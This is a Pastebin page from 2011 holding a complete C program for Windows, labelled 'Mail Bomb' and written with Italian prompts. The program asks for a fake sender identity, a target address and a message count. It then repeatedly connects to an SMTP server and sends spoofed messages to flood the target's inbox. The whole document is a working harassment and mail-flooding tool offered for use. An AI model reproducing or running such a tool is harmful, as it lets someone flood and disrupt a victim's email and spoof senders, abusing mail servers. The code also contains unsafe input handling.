pietrod21

Untitled

Mar 13th, 2011
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.31 KB | None | 0 0
  1. #include  <stdio.h>
  2. #include <stdlib.h>
  3. #include <winsock.h>
  4. #include <windows.h>
  5.  
  6. typedef char stringa[500];
  7.  
  8. SOCKET conn;
  9. FILE *fmail;
  10. int lun, err=0;
  11. int nmi;
  12. char buf[1500],end[7];
  13. char input;
  14. char Mittente[50]="";
  15. char Destinatario[50]="";
  16. char Oggetto[50]="";
  17. SOCKADDR_IN conn_addr;
  18. WSADATA data;
  19. WORD versione;
  20. LPHOSTENT host;
  21.  
  22.  
  23.  
  24. void RispostaServer();
  25. void inviomail();
  26.  
  27. int main(int argc,char **argv)
  28. {
  29.     printf("\n     @#####################################################@ ");
  30.     printf("\n     @####################@ Mail Bomb @####################@ ");
  31.     printf("\n     @##############################!By Scorpion Attack!###@ ");
  32.     printf("\n     @#####################################################@ \n\n\n");
  33.  
  34.     printf("\nFake Name/E-mail Mittente: ");
  35.     gets(Mittente);
  36.  
  37.     printf("\nE-mail Destinatario: ");
  38.     gets(Destinatario);
  39.  
  40.     printf("\nOggetto: ");
  41.     gets(Oggetto);
  42.  
  43.     printf("\nNumero messaggi da inviare: ");
  44.     scanf("%i",&nmi);
  45.  
  46.  
  47.     printf ("Invio E-mail in corso...\n");
  48.     int c;
  49.     for(c=0;c<=nmi;c++){ // inzio ciclo
  50.                         inviomail();
  51.                         Sleep(200);
  52.                         }// Fine ciclo
  53.     WSACleanup();
  54.     system("cls");
  55.     printf("\n     @#####################################################@ ");
  56.     printf("\n     @####################@ Mail Bomb @####################@ ");
  57.     printf("\n     @##############################!By Scorpion Attack!###@ ");
  58.     printf("\n     @#####################################################@ \n\n\n");
  59.     printf("\nE-Mail Bombardata");
  60.     Sleep(2500);
  61.     return 0;
  62. }
  63.  
  64. void inviomail(){
  65.      fmail=fopen("mail.txt","r");
  66.      if (fmail==NULL){
  67.          printf("Errore file \"mail.txt\"");
  68.         }
  69.  
  70.      versione=MAKEWORD(2,0);
  71.      WSAStartup(versione,&data);
  72.  
  73.      conn=socket(PF_INET,SOCK_STREAM,0);
  74.      conn_addr.sin_family=PF_INET;
  75.      conn_addr.sin_port=htons(25);
  76.  
  77.      host=gethostbyname ("mail.tin.it");
  78.      if (host==NULL){
  79.         err=WSAGetLastError();
  80.         printf ("Errore con l'Host\t%d",err);
  81.                      }
  82.  
  83.      conn_addr.sin_addr = *((LPIN_ADDR)*host->h_addr_list);
  84.      lun=sizeof(struct sockaddr);
  85.  
  86.      err=connect(conn,(struct sockaddr*)&conn_addr,lun);
  87.      if (err!=0){
  88.         err=WSAGetLastError();
  89.         printf("Errore della Socket\t%d",err);
  90.         }
  91.  
  92.     RispostaServer();
  93.  
  94.     sprintf(buf, "helo inviamail\nmail from:<[email protected]>\nrcpt to:<%s>\ndata\n",Destinatario);
  95.     send(conn, buf, strlen(buf), 0);
  96.  
  97.     printf(buf);
  98.  
  99.     RispostaServer();
  100.  
  101.     sprintf(buf, "From: %s\n",Mittente);
  102.     send(conn, buf, strlen(buf), 0);
  103.  
  104.     sprintf(buf, "To: %s\n",Destinatario);
  105.     send(conn, buf, strlen(buf), 0);
  106.  
  107.     sprintf(buf, "Subject: %s\n",Oggetto);
  108.     send(conn, buf, strlen(buf), 0);
  109.  
  110.  
  111.     while (feof(fmail)==0){
  112.         fscanf (fmail,"%c",&input);
  113.         send (conn,&input,1,0);
  114.                    }
  115.  
  116.     sprintf(buf, "\n.\n");
  117.     printf(buf);
  118.     send(conn, buf, strlen(buf), 0);
  119.  
  120.     fclose(fmail);
  121.  
  122.  
  123.     sprintf(end,"quit\n");
  124.     send(conn,end,strlen(end),0);
  125.  
  126.     RispostaServer();
  127.  
  128.  
  129.     closesocket(conn);
  130.  
  131.     }
  132.  
  133.  
  134. void RispostaServer(){
  135.  
  136.     char mess[1000];
  137.     int n=0;
  138.     n=recv(conn,mess,200,0);
  139.     mess[n]=0;
  140.     printf(mess,"%s");
  141. }
Advertisement
Add Comment
Please, Sign In to add comment